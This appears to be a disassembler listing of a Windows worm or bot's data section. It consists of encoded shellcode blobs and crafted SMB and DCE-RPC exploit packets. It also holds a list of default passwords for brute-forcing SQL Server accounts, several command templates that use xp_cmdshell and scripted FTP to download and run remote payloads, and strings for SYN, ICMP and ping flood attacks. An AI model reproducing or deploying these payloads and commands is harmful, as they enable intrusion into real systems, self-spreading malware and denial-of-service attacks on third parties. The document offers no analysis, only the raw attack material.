0EBE805EBh dd 70FFFFFFh, 99999962h, 0A938FDC6h, 12999999h, 0E91295D9h dd 0F1123485h, 0F36E1291h, 271C09Dh, 7B999999h, 0ABAAF160h dd 0EEF19999h, 0CDC6ABEAh, 71128F66h, 71C09DF3h, 9999991Bh dd 7518607Bh, 99999809h, 9898F1CDh, 0CF669999h, 0C9C9C989h dd 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h, 0F1989999h, 4B9D999Bh dd 89F35512h, 0CF66CAC8h, 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh dd 0CD751AA9h, 0F3BDA514h, 7B32C08Ch, 0BDDD5F64h, 0DD67DD89h dd 0C510A4BDh, 0C510D1BDh, 0C510D5BDh, 0DD14C9BDh, 0C9CD89BDh dd 0F3C8C8C8h, 66C8C898h, 66C8A9EFh, 55129DCFh, 0A86666F3h dd 0CA91CF66h, 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh dd 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h dd 5891ED4Fh, 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h dd 9512FF44h, 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h dd 66666699h, 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h dd 0A2657452h, 346C9040h, 0F9336075h, 0E05FE07Eh, 0 dword_43CE50 dd 4A5A10EBh, 0B966C933h, 3480017Dh, 0FAE2990Ah, 0EBE805EBh ; DATA XREF: sub_423DF0+12Bo ; sub_423DF0+135o ... dd 70FFFFFFh, 99999895h, 0A938FDC3h, 12999999h, 0E91295D9h dd 0D9123485h, 12411291h, 0ED12A5EAh, 6A9AE187h, 9AB9E712h dd 8DD71262h, 0CECF74AAh, 9AA612C8h, 0F36B1262h, 3F6AC097h dd 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh, 125412C7h, 5A9ABDDFh dd 589A7848h, 12FF50AAh, 85DF1291h, 78585A9Ah, 12589A9Bh dd 125A9A99h, 1A6E1263h, 4912975Fh, 71C09AF3h, 9999991Eh dd 0CB945F1Ah, 65CE66CFh, 0F34112C3h, 0ED71C09Ch, 0C9999999h dd 0F3C9C9C9h, 669BF398h, 411275CEh, 999B9E5Eh word_43CF00 dw 4B9Dh ; DATA XREF: sub_423DF0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_43CFE8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: _294ADE7B:00424452o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_43D074 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: _294ADE7B:00424487o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_43D120 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: _294ADE7B:004244B6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_43D200 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_43D257 dd 3F000000h ; DATA XREF: sub_423DF0+91r dword_43D25B dd 3F3F3F3Fh ; DATA XREF: sub_423DF0+A4r byte_43D25F db 0 ; DATA XREF: sub_423DF0+B4r dd 0 dword_43D264 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_43D2D0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43D374 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_43D3F4 dd offset sub_401492+3 ; DATA XREF: sub_423DF0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd offset loc_40707A+2 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_43D488 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_43D4F4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_423DF0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_43D568 dd 0 ; DATA XREF: sub_423DF0+398o dd offset byte_40A890+0Ah dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_40A890+0Ah dd 1, 0 dd 1, 0 dd offset byte_40A890+0Ah dd 1, 0 dd 1, 0 dd offset byte_40A890+0Ah dd 1, 0 dd 1, 3 dup(0) dword_43D5F4 dd 1004600h ; DATA XREF: sub_423DF0+122r ; sub_423DF0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_43D7DC dd 61622E63h, 0A0D74h, 0 ; DATA XREF: sub_4239C0+2C9o aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+2A0o align 10h dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+277o dd 2 dup(0) aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+221o align 4 dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1E9o align 10h dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+1BCo align 10h aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+18Fo align 8 aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+162o align 10h dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+12Ao align 10h aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+FDo align 4 dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4239C0+D0o align 8 dword_43D928 dd 6EB06EBh ; DATA XREF: sub_423DF0+15Dr align 10h dword_43D930 dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_423DF0+29o ; _294ADE7B:00424CC2o dword_43D93C dd 1CEC8166h ; DATA XREF: sub_423DF0+Ar dword_43D940 dd 0E4FF07h ; DATA XREF: sub_423DF0+Fr align 8 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: _294ADE7B:0042483Do align 4 dd 0 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %s >> eq&echo us' ; DATA XREF: _294ADE7B:00424800o db 'er a a >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq &%' db 's&del eq',0Dh,0Ah db 27h,0 align 4 dd 7 dup(0) aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: _294ADE7B:0042473Ao align 10h aH4x0r db 'h4x0r',0 ; DATA XREF: _294ADE7B:00424670o align 4 aAdmin db 'admin',0 ; DATA XREF: _294ADE7B:0042464Co align 10h aSa db 'sa',0 ; DATA XREF: _294ADE7B:00424647o align 4 aRoot db 'root',0 ; DATA XREF: _294ADE7B:0042462Bo align 4 dword_43DA6C dd 30B0005h, 10h, 48h, 0 ; DATA XREF: _294ADE7B:00424D74o dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43DAB8 dd 3000005h, 10h, 830h, 0 ; DATA XREF: _294ADE7B:00424C4Co dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_43DAE8 dd 0FAh, 2, 0 ; DATA XREF: _294ADE7B:00424C95o dd 2, 0 dd 0FAh, 2 dup(0) dword_43DB08 dd 0D959516Ah, 2474D9EEh, 73815BF4h, 9097A813h, 0FCEB8388h ; DATA XREF: _294ADE7B:00424C0Ao dd 5329F4E2h, 6857676Fh, 7CC274D4h, 685160DDh, 1CC8776Fh dd 1C8CACFCh, 0EB23B4D5h, 78A9F095h, 1CB0C71Bh, 7CA9A8CFh dd 1C9C03D9h, 57996691h, 572C2409h, 5D698FE4h, 7C6A899Dh dd 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh, 0DCA403F6h, 96B4D71Bh dd 1C848B7Bh, 8B8CE419h, 4C994BF1h, 0A7EB03F4h, 1CA4C81Bh dd 1C0594E0h, 0FFF680D0h, 7BA6C61Eh, 0F17E77C0h, 0A4C0EEC3h dd 0E4DFE0A2h, 68FCD7A2h, 7A63E040h, 68F8B36Ch, 7221D746h dd 9F4509F6h, 95C2DD92h, 4EC0586Fh, 0C0057D99h, 0C4FB5E6Fh dd 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h, 1EFBEECCh, 33C01D71h dd 0C06FF88Ah, 87C25E6Fh, 4757DDC1h, 0B9052CF8h, 4157DF79h dd 4757DDC3h, 11E16DF8h, 4157DFD9h, 0C2FCDCC0h, 0FF3B586Fh dd 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh, 0F4C0EEF4h, 0FD4D01FDh dd 5B81D1C0h, 0D3C26F19h, 57996A19h, 0D5562263h, 0BBEA76BDh dd 0AFD20503h, 0FF03233Bh, 811B76E2h, 68ECFD6Fh, 0C5FFD346h dd 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h, 59AD513Dh, 0FD7E77C3h dd 689F776Fh, 6BFF0340h, 68CC4C13h, 4757DA46h, 776667F8h dd 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_4249E0+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: _294ADE7B:00424D24o align 10h dd 0 word_43DD74 dw 2EBh ; DATA XREF: _294ADE7B:00424CA1r align 4 dword_43DD78 dd 215h ; DATA XREF: _294ADE7B:00424C53r align 10h dword_43DD80 dd 20804h ; DATA XREF: _294ADE7B:00424C38r align 8 dword_43DD88 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+CCo db 66h, 0B9h word_43DD96 dw 0FFFFh ; DATA XREF: sub_425140+D3w db 80h, 73h, 0Eh byte_43DD9B db 0FFh ; DATA XREF: sub_425140+DAw dd 0F9E243h dword_43DDA0 dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_425140+A7o db 0B1h byte_43DDAD db 0FFh ; DATA XREF: sub_425140+AEw dw 7380h db 0Ch byte_43DDB1 db 0FFh ; DATA XREF: sub_425140+B4w dw 0E243h dd 0F9h dword_43DDB8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_424ED0+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43DE1C dd 12h ; DATA XREF: sub_424ED0+50w dd 70746674h, 6578652Eh, 20692D20h dword_43DE2C dd 74656720h ; DATA XREF: sub_424ED0+94r byte_43DE30 db 20h ; DATA XREF: sub_424ED0+A2r dword_43DE31 dd 0E8006A00h ; DATA XREF: sub_424ED0+C4r dword_43DE35 dd 17h ; DATA XREF: sub_424ED0+62w ; sub_424ED0+D2r dword_43DE39 dd 0E8C30175h ; DATA XREF: sub_424ED0+DEr dword_43DE3D dd 1 ; DATA XREF: sub_424ED0+59w ; sub_424ED0+E7r byte_43DE41 db 0, 6Ah, 0 ; DATA XREF: sub_424ED0+110o dd 7E8h db 0, 0Fh, 84h dword_43DE4B dd 0FFFFFFEDh ; DATA XREF: sub_424ED0+6Fw db 0C3h dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h, 44B0AAF3h dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h dd 0C3h, 0Ch dup(0) dword_43DEAC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_425830+72o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 32h dup(69696969h) db 69h dword_43E7AD dd 69696969h ; DATA XREF: sub_404890+98Fr db 3 dup(69h) dd 0Ch dup(69696969h), 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h dd 3Fh dup(6B6B6B6Bh), 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch) dd 41416C6Ch, 100D06EBh, 6D6D501Eh, 0E983C933h, 0D9EED9B0h dd 5BF42474h, 0C8137381h, 83877FD9h, 0F4E2FCEBh, 0CA94B334h dd 78802020h, 0EBF4B937h, 0C2F4FDECh, 820352F4h, 0C90D8B0h dd 0D8F4C187h, 0CE94D8E8h, 86F4ED43h, 1EBFE826h, 0F3BF5D64h dd 8AB518CFh, 73941BC9h, 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh dd 0C34D543h, 6C7EC597h, 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh dd 0C4F9A43h, 0F7F4D588h, 0C7F474D4h, 91787C0h, 0D793D786h dd 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h, 57808D97h, 7B9212A0h dd 518089F3h, 0E19A5097h, 85773449h, 787DB39Dh, 8EA6B118h dd 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh dd 66F68AAEh, 9DDBB15Dh, 78281EB8h, 0D66FB31Eh, 0EFAF269Dh dd 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh dd 782A8D9Ch, 60174A18h, 0D0061FB1h, 782A0F37h, 0E315BF18h dd 0EA1CB1AEh, 0D7153C41h, 0EB3F091h, 0E3BB32Fh, 74BFE82Ah dd 0AA3D2762h, 14539B36h, 2C47A345h, 0F5177263h, 78696A36h dd 51809DBDh, 0D62D8E93h, 86158899h, 0D62A8899h, 2A170937h dd 0D4B1DC11h, 78150F37h, 5780EE37h, 4838E43h, 5180BD0Ch dd 0EFAF269Ah, 0D87B5338h, 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h dd 0E7h dup(0) aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: _294ADE7B:00425E69o ; _294ADE7B:loc_425E7Cr ... align 4 aExit db 'exit',0 align 8 word_43F488 dw 1 ; DATA XREF: sub_425960+9r ; _294ADE7B:00425C02r align 4 word_43F48C dw 4 ; DATA XREF: sub_425960+3r align 10h aEchoOpenSDAaEc db 'echo open %s %d >> aa &echo user a a >> aa &echo binary >> aa &ec' ; DATA XREF: _294ADE7B:00425F11o db 'ho get %s >> aa &echo bye >> aa &ftp -n -v -s:aa &del aa &%s',0Dh,0Ah,0 dd 7 dup(0) aC db '%c',0 ; DATA XREF: _294ADE7B:00425E84o ; _294ADE7B:00425F44o align 10h word_43F530 dw 0DFFh ; DATA XREF: _294ADE7B:00425C37r byte_43F532 db 0 ; DATA XREF: _294ADE7B:00425C43r align 4 word_43F534 dw 0EBFFh ; DATA XREF: _294ADE7B:00425C1Ar byte_43F536 db 0 ; DATA XREF: _294ADE7B:00425C2Br align 4 word_43F538 dw 201h ; DATA XREF: _294ADE7B:00425BE4r byte_43F53A db 0 ; DATA XREF: _294ADE7B:00425BF8r align 4 dword_43F53C dd 20424652h ; DATA XREF: _294ADE7B:00425BC6r dword_43F540 dd 2E333030h ; DATA XREF: _294ADE7B:00425BCBr dword_43F544 dd 0A383030h ; DATA XREF: _294ADE7B:00425BD1r byte_43F548 db 0 ; DATA XREF: _294ADE7B:00425BDBr align 4 aPing db 'ping',0 ; DATA XREF: sub_4267F0+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_4268B0+D0o align 10h dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4268B0+B4o align 4 dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4268B0+43o align 8 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_426A30+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_426A30+2Bo dd 0 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_426A30+23o align 10h aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_426A30+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_426D40+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426E00+195o align 10h aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_426E00+143o align 10h aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426E00+D3o align 4 dd 0 aSyn db 'syn',0 ; DATA XREF: _294ADE7B:00427272o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: sub_427310+C1o align 4 dd 0 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_427310+43o align 8 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: _5AD6BD6B:0043F6B8o align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 ; DATA XREF: sub_427930+23o align 8 aCalloc db 'calloc',0 ; DATA XREF: sub_4279B0+1A2o ; sub_4279B0+1D5o ... align 10h aConnect db 'connect',0 ; DATA XREF: sub_4279B0+185o ; sub_428720+20Fo dd 0 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4279B0+16Co ; sub_428720+1C4o ... align 4 dd 0 aSocket db 'socket',0 ; DATA XREF: sub_4279B0+13Bo ; sub_428720+15Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4279B0+EAo align 4 aGetservbyname db 'getservbyname',0 ; DATA XREF: sub_4279B0+5Co align 4 aTcp db 'tcp',0 ; DATA XREF: sub_4279B0+49o ; sub_4279B0:loc_427A6Do aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_427CB0:loc_427CD2o align 8 aRead db 'read',0 ; DATA XREF: sub_427DF0:loc_427F8Co align 10h asc_43F760 db 0Dh,0Ah,0 ; DATA XREF: sub_427DF0+11Do align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_428270+72o align 10h aUserS db 'USER %s',0 ; DATA XREF: sub_428270+3Do dd 0 aWrite db 'write',0 ; DATA XREF: sub_428340+A3o align 4 aS db '%s',0Ah,0 ; DATA XREF: sub_428340+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_428460+203o align 10h dd 0 dword_43F7A4 dd 524F5453h ; DATA XREF: sub_428460:loc_428547r byte_43F7A8 db 0 ; DATA XREF: sub_428460+EDr align 4 dword_43F7AC dd 52544552h ; DATA XREF: sub_428460:loc_42852Dr byte_43F7B0 db 0 ; DATA XREF: sub_428460+D3r align 4 dword_43F7B4 dd 5453494Ch ; DATA XREF: sub_428460:loc_428513r byte_43F7B8 db 0 ; DATA XREF: sub_428460+B8r align 4 dword_43F7BC dd 54534C4Eh ; DATA XREF: sub_428460:loc_4284F8r byte_43F7C0 db 0 ; DATA XREF: sub_428460+9Er align 4 dword_43F7C4 dd 45505954h, 632520h, 0 ; DATA XREF: sub_428460+5Eo ; _294ADE7B:0042986Ao aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_428460+2Do align 4 dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 ; DATA XREF: sub_428720+2C8o align 10h aListen db 'listen',0 ; DATA XREF: sub_428720+242o align 4 aBind db 'bind',0 ; DATA XREF: sub_428720+230o align 10h aGetsockname db 'getsockname',0 ; DATA XREF: sub_428720+190o align 10h aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_428720+10Eo align 8 aPasv db 'PASV',0 ; DATA XREF: sub_428720+B4o align 10h aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_428720+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_428720+45o align 10h aTimedOutWaitin db 'timed out waiting for connection',0 ; DATA XREF: sub_428C00+A4o align 8 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+12Eo align 10h dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+FBo align 10h dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_428FC0+DBo align 10h dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: _294ADE7B:0042927Eo dd 0 aSyst db 'SYST',0 ; DATA XREF: _294ADE7B:004292DDo align 4 aMkdS db 'MKD %s',0 ; DATA XREF: _294ADE7B:0042936Eo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: _294ADE7B:004293EEo align 4 aCdup db 'CDUP',0 ; DATA XREF: _294ADE7B:00429447o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: _294ADE7B:0042949Eo align 4 off_43F97C dd offset dword_445750 ; DATA XREF: _294ADE7B:004294FDo aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_4295A0:loc_429721o dd 0 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_4295A0+125o align 4 dd 0 word_43F9BC dw 77h ; DATA XREF: sub_4295A0+1Fr align 10h dword_43F9C0 dd 25206425h, 